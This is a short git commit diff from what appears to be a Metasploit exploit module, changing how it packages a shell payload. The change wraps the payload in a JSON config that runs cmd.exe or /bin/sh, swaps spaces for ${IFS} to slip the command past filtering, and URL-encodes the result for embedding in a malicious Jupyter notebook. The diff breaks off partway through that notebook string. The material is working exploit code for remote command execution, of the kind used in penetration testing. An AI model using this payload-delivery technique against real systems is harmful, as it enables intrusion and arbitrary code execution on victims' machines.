smcintyre-r7 recommendation for better payload handling

This commit is contained in:
h00die
2024-03-22 17:04:06 -04:00
parent f6b65993ac
commit 3da170a43c
@@ -95,9 +95,16 @@ class MetasploitModule < Msf::Exploit::Remote
def on_request_uri(cli, request)
super unless request.uri.end_with? datastore['URIPATH']
pload = %({"config":{"executable":"#{payload.encoded.split(' ')[0]}","args":"#{payload.encoded.split(' ')[1..].join(' ')}"}})
if target['Platform'] == 'win'
config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" }
else
config = { 'executable' => '/bin/sh', 'args' => "-c #{payload.raw.gsub(' ', '${IFS}')}" }
end
pload = JSON.dump({ 'config' => config })
puts pload
pload = CGI.escape(pload).gsub('+', '%20')
pload = CGI.escape(pload).gsub('+', '%20') # XXX not suure if this is needed or not
ipynb = %|{
"cells": [